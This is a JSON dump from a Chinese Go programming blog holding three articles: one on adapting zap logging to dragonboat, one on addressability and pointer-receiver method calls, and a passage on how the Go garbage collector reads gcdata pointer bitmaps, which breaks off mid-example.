好在zap包提供了“Sugar”方式的Printf-like的API，可以用于适配上述ILogger接口，我们以dragonboat提供的dragonboat-example中的helloworld为例，让该项目适配zap风格的log，我们为helloworld项目提供一个log.go文件，源码如下：\n//helloworld/log.go package main import ( \u0026#34;github.com/lni/dragonboat/v3/logger\u0026#34; \u0026#34;go.uber.org/zap\u0026#34; ) type LogLevel = logger.LogLevel type Mylogger struct { *zap.Logger } func (l *Mylogger) SetLevel(level LogLevel) { } func (l *Mylogger) Warningf(format string, args ...interface{}) { l.Logger.Sugar().Warnf(format, args...) } func (l *Mylogger) Debugf(format string, args ...interface{}) { l.Logger.Sugar().Debugf(format, args...) } func (l *Mylogger) Errorf(format string, args ...interface{}) { l.Logger.Sugar().Errorf(format, args...) } func (l *Mylogger) Infof(format string, args ...interface{}) { l.Logger.Sugar().Infof(format, args...) } func (l *Mylogger) Panicf(format string, args ...interface{}) { l.Logger.Sugar().Panicf(format, args...) } var _ logger.ILogger = (*Mylogger)(nil) var factory = func(pkgName string) logger.ILogger { logger, _ := zap.NewProduction() return \u0026amp;Mylogger{ Logger: logger, } } 然后在helloworld的main.go中使用dragonboat提供的SetLoggerFactory重新设置一下dragonboat内部所使用的logger实例：\nfunc main() { ... ... logger.SetLoggerFactory(logger.Factory(factory)) // change the log verbosity logger.GetLogger(\u0026#34;raft\u0026#34;).SetLevel(logger.ERROR) logger.GetLogger(\u0026#34;rsm\u0026#34;).SetLevel(logger.WARNING) logger.GetLogger(\u0026#34;transport\u0026#34;).SetLevel(logger.WARNING) logger.GetLogger(\u0026#34;grpc\u0026#34;).SetLevel(logger.WARNING) ... ... } 这样修改后再运行helloworld这个示例，我们便可以看到它输出的日志样式已经变成了zap风格的了：\n{\u0026#34;level\u0026#34;:\u0026#34;warn\u0026#34;,\u0026#34;ts\u0026#34;:1646300185.9349403,\u0026#34;caller\u0026#34;:\u0026#34;helloworld/log.go:18\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;[f:1,l:4,t:2,c:4,a:4] [00128:00001] t3 received 2 votes and 0 rejections, quorum is 2\u0026#34;} {\u0026#34;level\u0026#34;:\u0026#34;info\u0026#34;,\u0026#34;ts\u0026#34;:1646300185.9352179,\u0026#34;caller\u0026#34;:\u0026#34;helloworld/log.go:30\u0026#34;,\u0026#34;msg\u0026#34;:\u0026#34;[f:1,l:5,t:3,c:4,a:4] [00128:00001] t3 became leader\u0026#34;} 到这里，有人可能会说：适配一个log包似乎也还好吧！其实碰到像dragonboat这样的包，只能说明我们运气好，它提供了供你去适配的logger接口，如果它没有提供这样的接口呢？如果zap没有提供Printf-like的API呢？我们都无法像上面这样将zap与dragonboat相融在一起。\n此外，我要说这个问题的严重性在于其不确定性，这种不确定来自于无法预料将来与某个新引入的第三方包是否存在日志接口格式上的兼容性，而问题的根源则在于目前Go官方没有一个统一log接口供所有项目去遵守。\n在前面的log现状中我们说过，Go标准库的Logger是一个结构体，是一个具体的实现，不具备解耦的作用。\n三. 临时解决方法、社区努力与期望 那遇到此类工程问题，我们该如何做呢？在Go没有提供统一log接口的情况下，我们可能遇到下面的两种情况(项目P，依赖D)：\n如果依赖D像上面dragonboat提供了log接口用于适配，且log接口的风格与P自用log包的风格兼容（比如都支持Printf-like API），那么我们需要像上面例子中那样，在项目P中提供一个用于适配D的logger实现； 如果依赖D没有提供log接口用于适配，且其输出的日志风格与P自用log风格不一致或是D的log API风格与P自用log包 API不兼容，这种情况下，要么向D库作者提issue或pr（多数情况可能被拒），要么更实际一点，自己fork D项目并二次开发，替换其中的logger或增加用于适配的接口。 要一劳永逸的解决log工程上的问题，还是需要Go官方定义统一的log接口，社区在这方面不能说不努力，2017年Go社区一批大神就成立了统一log接口委员会，并商讨出了一个proposal试图在Go标准库中增加统一的log接口，但提案没有没Go核心团队接纳(accept)。之后，该话题逐渐沉寂下来，形成如今的现状。\n打不进核心，Go社区只能走外围路线，于是出现了许多Go社区版的类java的SLF4J(Simple Logging Facade for Java)的项目，比如logr、slf4go等。目前比较活跃的log API是logr项目，它提供了大部分主流log包的适配实现。如果你没有更好的办法，可以考虑一下采用logr的API规范。\n四. 小结 log在工程实践中的问题虽然没有被单独拿出来放在Go年度用户调查结果中，但它确是客观存在的，我觉得它应该属于“Missing or immature libraries”调查项的一部分，这样的问题其实越早解决掉越好，将会给开发者带来很大的便利，节省很多花在实现log适配上的时间。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/03/05/go-logging-practice/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-logging-practice-1.png\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e配图改自\u003ca href=\"https://www.datadoghq.com/blog/go-logging/#best-practices-for-writing-and-storing-golang-logs\"\u003e网络\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/03/05/go-logging-practice\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/03/05/go-logging-practice\"\u003ehttps://tonybai.com/2022/03/05/go-logging-practice\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo隶属于后端语言，以开发各类服务、中间件和系统平台见长。日常学习Go语言时，日志不是不可或缺的，甚至是无需考虑的，但是一旦到真正的Go的工程实践中，输出日志便是我们绕不过去的、必须面对的问题。\u003c/p\u003e","title":"聊聊Go应用输出日志的工程实践"},{"content":"\n本文永久链接 – https://tonybai.com/2022/02/27/go-addressable\n近期在“Go语言第一课”专栏后台看到一位学员的一则留言，如下图：\n由于有课程上下文，所以我这里将问题的上下文重新描述一下。\n在专栏的第25讲，我们学习了Go语言提供的一个“语法糖”，比如下面这个例子：\ntype T struct { a int } func (t T) M1() { t.a = 10 } func (t *T) M2() { t.a = 11 } func main() { var t1 T t1.M1() t1.M2() var t2 = \u0026amp;T{} t2.M1() t2.M2() } Go语言的类型有方法集合(method set)的概念，以上面例子来说，类型T的方法集合为{M1}，而类型*T的方法集合为{M1, M2}。不过方法集合仅用于判断某类型是否实现某接口类型。当我们通过类型实例来调用方法时，Go会提供“语法糖”。上面这个例子先声明了类型T的变量t1，我们看到它不仅可以调用其方法集合中receiver参数类型为T的方法M1，它还可以直接调用不属于其方法集合的、receiver参数类型为*T的方法M2。T类型的实例t1之所以可以调用receiver参数类型为*T的方法M2都是Go编译器在背后自动进行转换的结果，即t1.M2()这种用法是Go提供的“语法糖”：Go判断t1的类型为T，与方法M2的receiver参数类型*T不一致后，会自动将t1.M2()转换为(\u0026amp;t1).M2()。\n同理，类型为*T的实例t2，它不仅可以调用receiver参数类型为*T的方法M2，还可以调用receiver参数类型为T的方法M1，这同样是因为Go编译器在背后做了转换：Go判断t2的类型为*T，与方法M1的receiver参数类型T不一致后，会自动将t2.M1()转换为(*t2).M1()。\n好了，问题来了！我们参考本文开头处那位学员的留言给出另外一个例子：\nfunc main() { T{}.M2() // 编译器错误：cannot call pointer method M2 on T (\u0026amp;T{}).M1() // OK (\u0026amp;T{}).M2() // OK } 在这个例子中，我们通过T{}对T进行实例化后并调用receiver参数类型为*T的M2方法，但编译器报了错误：cannot call pointer method M2 on T。\n前后两个例子，同样是基于T类型实例，一个可以使用“语法糖”调用M2方法，一个则不行。why？\n其实答案就在于：上面的“语法糖”使用有一个前提，那就是T类型的实例需要是可被取地址的，即Go语言规范中的addressable。\n什么是addressable呢？Go语言规范中的原话是这样的：\n“For an operand x of type T, the address operation \u0026amp;x generates a pointer of type *T to x. The operand must be addressable, that is, either a variable, pointer indirection, or slice indexing operation; or a field selector of an addressable struct operand; or an array indexing operation of an addressable array. As an exception to the addressability requirement, x may also be a (possibly parenthesized) composite literal. ”\n翻译过来，大致是说：下面情况中的\u0026amp;x操作后面的操作数x是可被取地址的：\n一个变量。比如：\u0026amp;x 指针解引用(pointer indirection)。比如：\u0026amp;*x 切片下标操作。比如：\u0026amp;sl[2] 可被取地址的结构体(struct)的字段。比如：\u0026amp;Person.Name 可被取地址的数组的下标操作。比如：\u0026amp;arr[1] 如果T是一个复合类型，那么\u0026amp;T{}是一个例外，是合法的。 不过，Go语言规范中并没有明确说明哪些情况的操作数或值是不可被取地址的。Go 101作者老貘在其“非官方Go FAQ”中，对不可被取地址的情况做了梳理，这里我们也借鉴一下：\n字符串中的字节元素 s := \u0026#34;hello\u0026#34; println(\u0026amp;s[1]) // invalid operation: cannot take address of s[1] (value of type byte) map键值对中的值元素 m := make(map[string]int) m[\u0026#34;hello\u0026#34;] = 5 println(\u0026amp;m[\u0026#34;hello\u0026#34;]) // invalid operation: cannot take address of m[\u0026#34;hello\u0026#34;] (map index expression of type int) for k, v := range m { println(\u0026amp;k) // ok, 键元素是可以取地址的 _ = v } 接口值的动态值（类型断言的结果） var a int = 5 var i interface{} = a println(\u0026amp;(i.(int))) // invalid operation: cannot take address of i.(int) (comma, ok expression of type int) 常量（包括具名常量和字面量） const s = \u0026#34;hello\u0026#34; // 具名常量 println(\u0026amp;s) // invalid operation: cannot take address of s (untyped string constant \u0026#34;hello\u0026#34;) println(\u0026amp;(\u0026#34;golang\u0026#34;)) // invalid operation: cannot take address of \u0026#34;golang\u0026#34; (untyped string constant) 包级函数 func Foo() {} func foo() {} func main() { f := func() {} println(\u0026amp;f) //ok, 局部匿名函数可取地址 println(\u0026amp;Foo) // invalid operation: cannot take address of Foo (value of type func()) println(\u0026amp;foo) // invalid operation: cannot take address of foo (value of type func()) } 方法（用做函数值） type T struct { a int } func (T) M1() {} func main() { var t T println(\u0026amp;(t.M1)) // invalid operation: cannot take address of t.M1 (value of type func()) println(\u0026amp;(T.M1)) // invalid operation: cannot take address of T.M1 (value of type func(T)) } 中间结果值\n函数调用 显式值转换 channel接收操作 子字符串操作 子切片操作 加减乘除法操作 // 函数调用 func add(a, b int) int { return a + b } println(\u0026amp;(add(5, 6))) // invalid operation: cannot take address of add(5, 6) (value of type int) // 显示值转换 var b byte = 12 println(\u0026amp;int(b)) // invalid operation: cannot take address of int(b) (value of type int) // channel接收操作 var c = make(chan int) println(\u0026amp;(\u0026lt;-c)) // invalid operation: cannot take address of \u0026lt;-c (comma, ok expression of type int) // 子字符串操作 var s = \u0026#34;hello\u0026#34; println(\u0026amp;(s[1:3])) // invalid operation: cannot take address of s[1:3] (value of type string) // 子切片操作 var sl = []int{1, 2, 3, 4, 5} println(\u0026amp;(sl[1:3])) // invalid operation: cannot take address of sl[1:3] (value of type []int) // 加减乘除操作 var a, b int = 10, 20 println(\u0026amp;(a + b)) // invalid operation: cannot take address of a + b (value of type int) println(\u0026amp;(a - b)) // invalid operation: cannot take address of a - b (value of type int) println(\u0026amp;(a * b)) // invalid operation: cannot take address of a * b (value of type int) println(\u0026amp;(a / b)) // invalid operation: cannot take address of a / b (value of type int) 最后貘兄在非官方Go FAQ中也提到了\u0026amp;T{}是一个例外(貘兄认为是一个语法糖，\u0026amp;T{}被编译器替换为tmp := T{}; (\u0026amp;tmp))，但不代表T{}是可被取地址的。事实告诉我们：T{}不可被取地址。这也是文章开头处那个留言中问题的答案。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/02/27/go-addressable/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-addressable-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/02/27/go-addressable\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/02/27/go-addressable\"\u003ehttps://tonybai.com/2022/02/27/go-addressable\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e近期在\u003ca href=\"http://gk.link/a/10AVZ\"\u003e“Go语言第一课”专栏\u003c/a\u003e后台看到一位学员的一则留言，如下图：\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/go-addressable-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e由于有课程上下文，所以我这里将问题的上下文重新描述一下。\u003c/p\u003e\n\u003cp\u003e在\u003ca href=\"http://gk.link/a/10AVZ\"\u003e专栏\u003c/a\u003e的第25讲，我们学习了Go语言提供的一个“语法糖”，比如下面这个例子：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etype T struct {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    a \u003cspan style=\"color:#a6e22e\"\u003eint\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efunc\u003c/span\u003e (t T) M1() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    t\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ea \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efunc\u003c/span\u003e (t \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003eT) M2() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    t\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ea \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e11\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efunc\u003c/span\u003e main() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e t1 T\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    t1\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eM1()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    t1\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eM2()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e t2 \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003eT{}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    t2\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eM1()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    t2\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eM2()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eGo语言的类型有方法集合(method set)的概念，以上面例子来说，类型T的方法集合为{M1}，而类型*T的方法集合为{M1, M2}。不过方法集合仅用于判断某类型是否实现某接口类型。当我们通过类型实例来调用方法时，Go会提供“语法糖”。上面这个例子先声明了类型T的变量t1，我们看到它不仅可以调用其方法集合中receiver参数类型为T的方法M1，它还可以直接调用不属于其方法集合的、receiver参数类型为*T的方法M2。T类型的实例t1之所以可以调用receiver参数类型为*T的方法M2都是Go编译器在背后自动进行转换的结果，即t1.M2()这种用法是Go提供的“语法糖”：Go判断t1的类型为T，与方法M2的receiver参数类型*T不一致后，会自动将t1.M2()转换为(\u0026amp;t1).M2()。\u003c/p\u003e","title":"为什么这个T类型实例无法调用*T类型的方法"},{"content":"\n本文永久链接 – https://tonybai.com/2022/02/21/how-gc-detect-pointer-in-mem-obj\n众所周知，Go是带垃圾回收(GC)的编程语言，开发者通常不需要考虑对内存的管理，降低了心智负担。Go程序运行的时候，GC在背后默默辛劳地为开发者**“擦屁股”**：把无法reach到的内存对象定期地释放掉以备后续重用。\nGC只关心指针，只要被扫描到的内存对象中有指针，它就会“顺藤摸瓜”，把该内存对象所在的“关系网”摸个门儿清，而那些被孤立在这张“网”之外的内存对象就是要被“清扫”的对象。\n那么GC在扫描时如何判断某个内存对象中是否有指针呢？这篇文章我们就来说说这事儿！\n内存对象中有指针与无指针的差别 在Gopher Academy Blog 2018年发表的一篇文章《Avoiding high GC overhead with large heaps》中作者曾用两个例子来对比了内存对象中有指针与无指针时GC的行为差别。我们摘录一下其中的这两个例子，第一个例子如下：\n// demo1.go func main() { a := make([]*int, 1e9) for i := 0; i \u0026lt; 10; i++ { start := time.Now() runtime.GC() fmt.Printf(\u0026#34;GC took %s\\n\u0026#34;, time.Since(start)) } runtime.KeepAlive(a) } 程序中调用runtime.KeepAlive函数用于保证在该函数调用点之前切片a不会被GC释放掉。\n我们看到：demo1中声明了一个包含10亿个*int的切片变量a，然后调用runtime.GC函数手工触发GC过程，并度量每次GC的执行时间，我们看看这个程序的执行结果(virtualbox 虚拟机ubuntu 20.04/go 1.18beta2)：\n$ go run demo1.go GC took 698.46522ms GC took 325.315425ms GC took 321.959991ms GC took 326.775531ms GC took 333.949713ms GC took 332.350721ms GC took 328.1664ms GC took 329.905988ms GC took 328.466344ms GC took 330.327066ms 我们看到，每轮GC调用都相当耗时。我们再来看第二个例子：\n// demo2.go func main() { a := make([]int, 1e9) for i := 0; i \u0026lt; 10; i++ { start := time.Now() runtime.GC() fmt.Printf(\u0026#34;GC took %s\\n\u0026#34;, time.Since(start)) } runtime.KeepAlive(a) } 这个例子仅是将切片的元素类型由*int改为了int。我们运行一下这第二个例子：\n$ go run demo2.go GC took 3.486008ms GC took 1.678019ms GC took 1.726516ms GC took 1.13208ms GC took 1.900233ms GC took 1.561631ms GC took 1.899654ms GC took 7.302686ms GC took 131.371494ms GC took 1.138688ms 在我们的实验环境中demo2中每轮GC的性能是demo1的300多倍！两个demo源码唯一的不同就是切片中的元素类型，demo1中的切片元素类型为int型指针。GC每次触发后都会全量扫描切片中存储的这10亿个指针，这就是demo1 GC函数执行时间很长的原因。而demo2中的切片元素类型为int，从demo2的运行结果来看，GC根本没有搭理demo2中的a，这也是demo2 GC函数执行时间较短的原因(我测试了一下：在我的环境中，即便不声明切片a，只是执行10次runtime.GC函数，该函数的平均执行时间也在1ms左右)。\n通过以上GC行为差异，我们知道GC可以通过切片a的类型知晓其元素是否包含指针，进而决定是否对其进行进一步扫描。下面我们就来看看GC是如何检测到某一个内存对象中包含指针的。\n运行时类型信息（rtype) Go是静态语言，每个变量都有自己的归属的类型，当变量被在堆上分配时，堆上的内存对象也就有了自己归属的类型。Go编译器在编译阶段就为Go应用中的每种类型建立了对应的类型信息，这些信息体现在runtime._rtype结构体中，Go reflect包的rtype结构体等价于runtime._rtype：\n// $GOROOT/src/reflect/type.go // rtype is the common implementation of most values. // It is embedded in other struct types. // // rtype must be kept in sync with ../runtime/type.go:/^type._type. type rtype struct { size uintptr ptrdata uintptr // number of bytes in the type that can contain pointers hash uint32 // hash of type; avoids computation in hash tables tflag tflag // extra type information flags align uint8 // alignment of variable with this type fieldAlign uint8 // alignment of struct field with this type kind uint8 // enumeration for C // function for comparing objects of this type // (ptr to object A, ptr to object B) -\u0026gt; ==? equal func(unsafe.Pointer, unsafe.Pointer) bool gcdata *byte // garbage collection data str nameOff // string form ptrToThis typeOff // type for pointer to this type, may be zero } 在这个结构体类型中的gcdata字段是为GC服务的，我们看看它究竟是什么！怎么看呢？由于reflect.rtype类型是非导出类型，我们需要对本地的Go语言源码做一些hack，我在reflect包的type.go文件中rtype结构体的定义之前添加一行代码：\ntype Rtype = rtype 我们用Go 1.9版本引入的类型别名(type alias)机制将rtype导出，这样我们就可以在标准库外面使用reflect.Rtype了。\n有童鞋可能会问：改了本地Go标准库源码后，Go编译器就会使用最新源码来编译我们的Go示例程序么？Go 1.18之前的版本都不会！大家可以自行试验一下，也可以通过《Go语言精进之路vol1》第16条“理解包导入”一章了解有关于Go编译器构建过程的详尽描述。\n下面我们来获取一个切片的类型对应的rtype，看看其中的gcdata究竟是啥？\n// demo4.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;reflect\u0026#34; \u0026#34;unsafe\u0026#34; ) type tflag uint8 type nameOff int32 // offset to a name type typeOff int32 // offset to an *rtype type rtype struct { size uintptr ptrdata uintptr // number of bytes in the type that can contain pointers hash uint32 // hash of type; avoids computation in hash tables tflag tflag // extra type information flags align uint8 // alignment of variable with this type fieldAlign uint8 // alignment of struct field with this type kind uint8 // enumeration for C // function for comparing objects of this type // (ptr to object A, ptr to object B) -\u0026gt; ==? equal func(unsafe.Pointer, unsafe.Pointer) bool gcdata *byte // garbage collection data str nameOff // string form ptrToThis typeOff // type for pointer to this type, may be zero } func bar() []*int { t := make([]*int, 8 ) return t } func main() { t := bar() v := reflect.TypeOf(t) rtyp, ok := v.(*reflect.Rtype) if !ok { println(\u0026#34;error\u0026#34;) return } r := (*rtype)(unsafe.Pointer(rtyp)) fmt.Printf(\u0026#34;%#v\\n\u0026#34;, *r) fmt.Printf(\u0026#34;*gcdata = %d\\n\u0026#34;, *(r.gcdata)) } bar函数返回一个堆上分配的切片实例t，我们通过reflect.TypeOf获取t的类型信息，通过类型断言我们得到该类型的rtype信息：rtyp，不过gcdata也是非导出字段并且是一个指针，我们要想对其解引用，我们这里又在本地定义了一个本地rtype类型，用于输出gcdata指向的内存的值。\n运行这个示例：\n$go run demo4.go main.rtype{size:0x18, ptrdata:0x8, hash:0xaad95941, tflag:0x2, align:0x8, fieldAlign:0x8, kind:0x17, equal:(func(unsafe.Pointer, unsafe.Pointer) bool)(nil), gcdata:(*uint8)(0x10c1b58), str:3526, ptrToThis:0} *gcdata = 1 我们看到gcdata指向的一个字节的内存的值为1(二进制为0b00000001)。好了，不卖关子了！gcdata所指的这个字节每一bit上的值代表一个8字节的内存块是否包含指针。这样的一个字节就可以标识在一个64字节的内存块中，每个8字节的内存单元是否包含指针。如果类型长度超过64字节，那么用于表示指针地图的gcdata指向的有效字节个数也不止1个字节。\n读过我的“Go语言第一课”专栏的童鞋都知道，切片类型在runtime层表示为下面结构：\n// $GOROOT/src/runtime/slice.go type slice struct { array unsafe.Pointer len int cap int } 这里切片类型结构内存对齐后的size为24，小于64个字节，因此Go用一个字节就可以表示切片类型的指针地图。而*gcdata=1，即最低位上的bit为1，表示切片类型的第一个8字节中存储着一个指针。配合下面的示意图理解起来更easy一些：\n我们也可以进一步查看切片中各元素是否包含指针，由于该切片的元素就是指针类型，所以每个元素的rtype.gcdata指向的bitmap的值都应该是1，我们来验证一下：\n//demo5.go ... ... func main() { t := bar() v := reflect.ValueOf(t) for i := 0; i \u0026lt; len(t); i++ { v1 := v.Index(i) vtyp := v1.Type() rtyp, ok := vtyp.(*reflect.Rtype) if !ok { println(\u0026#34;error\u0026#34;) return } r := (*rtype)(unsafe.Pointer(rtyp)) fmt.Printf(\u0026#34;%#v\\n\u0026#34;, *r) fmt.Printf(\u0026#34;*gcdata = %d\\n\u0026#34;, *(r.gcdata)) } } 这个例子输出了每个切片元素的bitmap，结果如下：\n$go run demo5.go gomain.rtype{size:0x8, ptrdata:0x8, hash:0x2522ebe7, tflag:0x8, align:0x8, fieldAlign:0x8, kind:0x36, equal:(func(unsafe.Pointer, unsafe.Pointer) bool)(0x1002c40), gcdata:(*uint8)(0x10c1be0), str:566, ptrToThis:0} *gcdata = 1 main.rtype{size:0x8, ptrdata:0x8, hash:0x2522ebe7, tflag:0x8, align:0x8, fieldAlign:0x8, kind:0x36, equal:(func(unsafe.Pointer, unsafe.Pointer) bool)(0x1002c40), gcdata:(*uint8)(0x10c1be0), str:566, ptrToThis:0} *gcdata = 1 main.rtype{size:0x8, ptrdata:0x8, hash:0x2522ebe7, tflag:0x8, align:0x8, fieldAlign:0x8, kind:0x36, equal:(func(unsafe.Pointer, unsafe.Pointer) bool)(0x1002c40), gcdata:(*uint8)(0x10c1be0), str:566, ptrToThis:0} *gcdata = 1 main.rtype{size:0x8, ptrdata:0x8, hash:0x2522ebe7, tflag:0x8, align:0x8, fieldAlign:0x8, kind:0x36, equal:(func(unsafe.Pointer, unsafe.Pointer) bool)(0x1002c40), gcdata:(*uint8)(0x10c1be0), str:566, ptrToThis:0} *gcdata = 1 main.rtype{size:0x8, ptrdata:0x8, hash:0x2522ebe7, tflag:0x8, align:0x8, fieldAlign:0x8, kind:0x36, equal:(func(unsafe.Pointer, unsafe.Pointer) bool)(0x1002c40), gcdata:(*uint8)(0x10c1be0), str:566, ptrToThis:0} *gcdata = 1 main.rtype{size:0x8, ptrdata:0x8, hash:0x2522ebe7, tflag:0x8, align:0x8, fieldAlign:0x8, kind:0x36, equal:(func(unsafe.Pointer, unsafe.Pointer) bool)(0x1002c40), gcdata:(*uint8)(0x10c1be0), str:566, ptrToThis:0} *gcdata = 1 main.rtype{size:0x8, ptrdata:0x8, hash:0x2522ebe7, tflag:0x8, align:0x8, fieldAlign:0x8, kind:0x36, equal:(func(unsafe.Pointer, unsafe.Pointer) bool)(0x1002c40), gcdata:(*uint8)(0x10c1be0), str:566, ptrToThis:0} *gcdata = 1 main.rtype{size:0x8, ptrdata:0x8, hash:0x2522ebe7, tflag:0x8, align:0x8, fieldAlign:0x8, kind:0x36, equal:(func(unsafe.Pointer, unsafe.Pointer) bool)(0x1002c40), gcdata:(*uint8)(0x10c1be0), str:566, ptrToThis:0} *gcdata = 1 输出结果与预期相符。\n我们再来看一个例子，一个用单字节bitmap无法表示的类型：\n// demo6.go ... ... type S struct { // 起始地址 a uint8 // 0 b uintptr // 8 p1 *uint8 // 16 c [3]uint64 // 24 d uint32 // 48 p2 *uint64 // 56 p3 *uint8 // 64 e uint32 // 72 p4 *uint64 // 80 } func foo() *S { t := new(S) return t } func main() { t := foo() println(unsafe.Sizeof(*t)) // 88 